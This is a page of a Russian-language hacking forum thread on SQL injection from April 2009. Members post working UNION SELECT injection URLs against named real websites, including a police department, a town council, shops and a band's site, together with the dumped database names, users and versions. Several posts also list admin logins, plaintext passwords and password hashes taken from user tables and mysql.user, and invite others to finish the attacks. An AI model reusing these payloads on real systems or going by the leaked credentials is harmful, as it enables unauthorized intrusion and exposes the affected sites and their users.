SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Database Version: 4.1.21-log
    Database name: bartonpine2
    User name: bartonpine2@localhost


    Database Version: 5.0.51a-community
    Database name: db_lokasltd
    User name: okasltd@localhost

    Login: admin
    Pass: ebd4c4b49a5e8a06d560cf12b0b83407 : ???



    Database Version: 5.0.70-log
    Database name: www_socratiparadoxo_co_za
    User name: socratiparadoxo@localhost


    Database Version: 4.1.22
    Database name: imcafs
    User name: [email protected]

    Login: root
    Pass: 18d08208054a0a43 : ???


    FILE_PRIV: Y


    Database Version: 5.0.67-community-log
    Database name: theproph_thepro
    User name: theproph_root@localhost
     
    #8701 .:[melkiy]:., 8 Apr 2009
    Last edited: 8 Apr 2009
    1 person likes this.
  2. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25


    Version:5.0.67-community
    User: visite_visite@localhost
    Database: visite_v1







    Version:5.0.51-locaweb-log
    User: [email protected]
    Database: djmag1








    Version:5.1.30-community
    User: [email protected]
    Database: editoraideal2








    Version:5.0.45
    User: internetsul@localhost
    Database: internetsul







    Version:5.0.54-log
    User: [email protected]
    Database: daggerbmx







    Version:5.0.51-locaweb-log
    User: [email protected]
    Database: sobiologia1








    Version:5.0.51a-community
    User: n10069_uses@localhost
    Database: n10069_uses









    Version:5.0.67-community
    User: msevange_msevang@localhost
    Database: msevange_msevangelico










    Version:4.1.18-nt-log
    Database: pesca
    User: sysdba@localhost









    Version:5.0.67-community
    User: mschae_root@localhost
    Database: mschae_www








    Version: 5.0.45-Max
    User: farmaco@localhost
    Database: farmaco
     
    5 people like this.
  3. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Database Version: 4.0.25-Max-log
    Database name: d0056ace
    User name: d0056ace@localhost


    Database Version: 5.0.67
    Database name: 2pb_co_uk_-_2pb
    User name: admin2pb@localhost
     
    2 people like this.
  4. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    http://www.swlife.nnov.ru/clients/assortment/72/7399%09union%09select%09version()--

    Version 5.0.51a
    Есть таблицы swl_users там юзеры сайта но админка похоже не Хтакцессе


    Создалели выше указанного сайта
    http://www.r52.ru/index.phtml?rid=1&fid=6&sid=13&nid=38911+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13--

    Version 5.0.51a
    также по хтакцессу похоже
    Тиц 3900
    если кто-то добьёт то напишите плиз в ЛС
     
    1 person likes this.
  5. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.medicalcare.ru/see.php?id=6+UNION+SELECT+1,2,3,4+LIMIT+1,1/*

    Database Version: 4.1.22-lk-log
    Database name: medcareru
    User name: medcareru@localhost

    http://www.laverminepersistante.net/public/see.php?id=0000000012+UNION+SELECT+1,2,3+LIMIT+1,1/*

    Database Version: 4.1.15-Debian_0.dotdeb.4
    Database name: vermine
    User name: vermine@nshweb4
     
    #8705 Rubaka, 8 Apr 2009
    Last edited: 8 Apr 2009
    1 person likes this.
  6. edichka

    edichka Member

    Joined:
    31 Jan 2009
    Messages:
    19
    Likes Received:
    14
    Reputations:
    0
    Axodiet.com pr 5

    Code:
    http://www.axodiet.com/eng/boutique/fiche.php?id=-30%20union%20select%201,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,group_concat(database(),0x23,user(),0x23,version()),3,4,5,6,7,8,9,0
    
    axodiet#root@localhost#5.0.51a-3ubuntu5.1
    
    [B]http://www.axodiet.com/admin
    
    login,pass: axodietit : peadmin[/B]
    
    [B]Достаем пароли от Бд[/B]
    
    http://www.axodiet.com/eng/boutique/fiche.php?id=-30%20union%20select%201,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,group_concat(user,0x23,password),3,4,5,6,7,8,9,0%20from%20mysql.user
    
    root *0A624058DAFE7EE13C6F2F64D22793924C063BB9
    roundcube *3585AC10E7BD38043158417BB0EAE70734DEEF01
    postfix *E4FC6FF842ADEFFC835A1078356EF98FD3D0C855
     
  7. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    http://www.hestebasen.com/login/profile.php?id=-747+union+select+1,2,3,4,5,6,7,8,9,10,11,group_concat(concat_ws(0x3a,username,password,email)+separator+0x0a),13,14+from+users/*
     
    #8707 DrAssault, 9 Apr 2009
    Last edited: 9 Apr 2009
  8. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    http://www.latela.ru/?page=news&newsid=2564567+union+select+1,2,version(),4,5,6--

    version 5.0.67-log
    Там 5 БД и все похоже какимто машинам посвящены...хотя сайт об одежде
    Вообщем кому надо- крутите : )
     
    1 person likes this.
  9. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Database Version: 5.0.32-Debian_7etch8-log
    Database name: hempfiles
    User name: hempfiles@localhost

    administrator:ibn23jo
    schorpioen:atreides
    thesedrugs:th3s3drugs
    rmontgomery:buydutchseeds
    perfectpee:drugtest


    Интересные таблицы: users, phpbb_users, phpads_clients
     
    1 person likes this.
  10. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    PR 3
    Code:
    http://www.thegreatnorthern.com/eat-drink.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9
    dbu-greatnorth@localhost:db-greatnorthern:5.0.27-community-nt
    Code:
    http://www.thegreatnorthern.com/eat-drink.php?id=-1+union+select+1,2,3,4,5,6,7,8,9+from+tbl_administrator
    Хз колумны.

    PR 0 :)
    http://www.bardrinks.mobi/drink.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*
     
    #8710 mailbrush, 9 Apr 2009
    Last edited: 9 Apr 2009
  11. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    Pagerank: 3
    http://www.portelginsuper8.com/image.php?ImageID=-6+union+select+1,concat_ws(0x3a,version(),database(),useR(),@@version_compile_os),3,4,5,6,7,8,9,10,11,12/*


    Database Version: 4.1.20
    Database name: pesupereight
    User name: pe8base@localhost
    Os: redhat-linux-gnu



    мдя...развели флуд в теме, есть же специальная тема для таких вопросов и ответов. Предвзятое отношение к новичкам? А отношение новичков к форуму???
     
    #8711 Gorev, 9 Apr 2009
    Last edited: 9 Apr 2009
    1 person likes this.
  12. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.bardrinks.mobi/drink.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*
    [email protected]:db143364123:4.0.27-max-log
     
  13. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    Police

    Pagerank:5

    http://www.owensoundpolice.com/newsfull.php?NewsID=-998+union+select+1,2,concat_ws(0x3a,version(),database(),useR(),@@version_compile_os),4,5,6,7,8,9,10,11,12/*


    Database Version: 4.1.20
    Database name: ospolicebase
    User name: policeweb@localhost
    Os: redhat-linux-gnu


    Для особо "одаренных" юных хакеров neverdie и DrAssault зачем в теме разводит флуд?
     
  14. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Официальный сайт украинской группы Quest Pistols​



    Database Version: 5.0.77
    Database name: questpistols
    User name: questpistols@localhost
    OS: redhat-linux-gnu

    Интересные таблицы: phpbb_users...
     
    #8714 .:[melkiy]:., 9 Apr 2009
    Last edited: 9 Apr 2009
    1 person likes this.
  15. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<My Web Times>>

    Code:
    http://mywebtimes.com/archives/ottawa/display.php?id=-366041+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os),2,3,4,5,6,7,8,9--+
    db: 5.0.51a-3ubuntu5.4-log
    name_db: archives
    user: admin@localhost
    os: debian-linux-gnu
     
    4 people like this.
  16. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.cocktailguiden.com/mobile/drink.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9+--+
    [email protected]:dricka:5.0.67-log
     
  17. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.ttorchids.net/db/see.php?View=%27View%27&id=-15/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14/*

    Database Version: 5.0.32-Debian_7etch8-log
    Database name: ttorchids
    User name: ttorchids@localhost
     
    2 people like this.
  18. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.droogle.ca/ip/drink.php?id=1+and+null+union+select+concat_ws(0x3a,user(),database(),version()),2,3,4,5,6,7,8,9/*
    Droogle_user@localhost:droogle_drinks:4.1.20
     
  19. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    Pagerank: 5

    http://www.town.southbruce.on.ca/news-full.php?NewsID=-74+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),6,7,8,9,10,11



    Version : 5.1.30
    Database :southbruce
    User : [email protected]
    Os : portbld-freebsd7.0



    http://www.town.southbruce.on.ca/news-full.php?NewsID=74+UNION+SELECT+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x3a,user_name,0x3a,user_password),0x71),0x71),6,7,8,9,10,11+FROM+bd_users+LIMIT+x,1

    adminboss:3981acfd000395bfdd0d9997f9b226e2
    droth:c4bc5c87744518625b9cbbdfcccd7b44
    dwood:ea069814bfcf38ca0f8afdfbb6544101

    http://www.town.southbruce.on.ca/news-full.php?NewsID=74+UNION+SELECT+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(CONCAT(user_name,0x3a,user_password),0x71),0x71),6,7,8,9,10,11+FROM+bd_users_os+LIMIT+x,1

    adminboss:eb0a191797624dd3a48fa681d3061212: master
    droth:c4bc5c87744518625b9cbbdfcccd7b44
    dwood:ea069814bfcf38ca0f8afdfbb6544101
     
    #8719 Gorev, 10 Apr 2009
    Last edited: 10 Apr 2009
    3 people like this.
  20. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    http://www.gellastudio.ru/shop/index.php?page=viewproduct&id=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13--
    полей для вывода к сожалению не нашел :(
     
    2 people like this.
Thread Status:
Not open for further replies.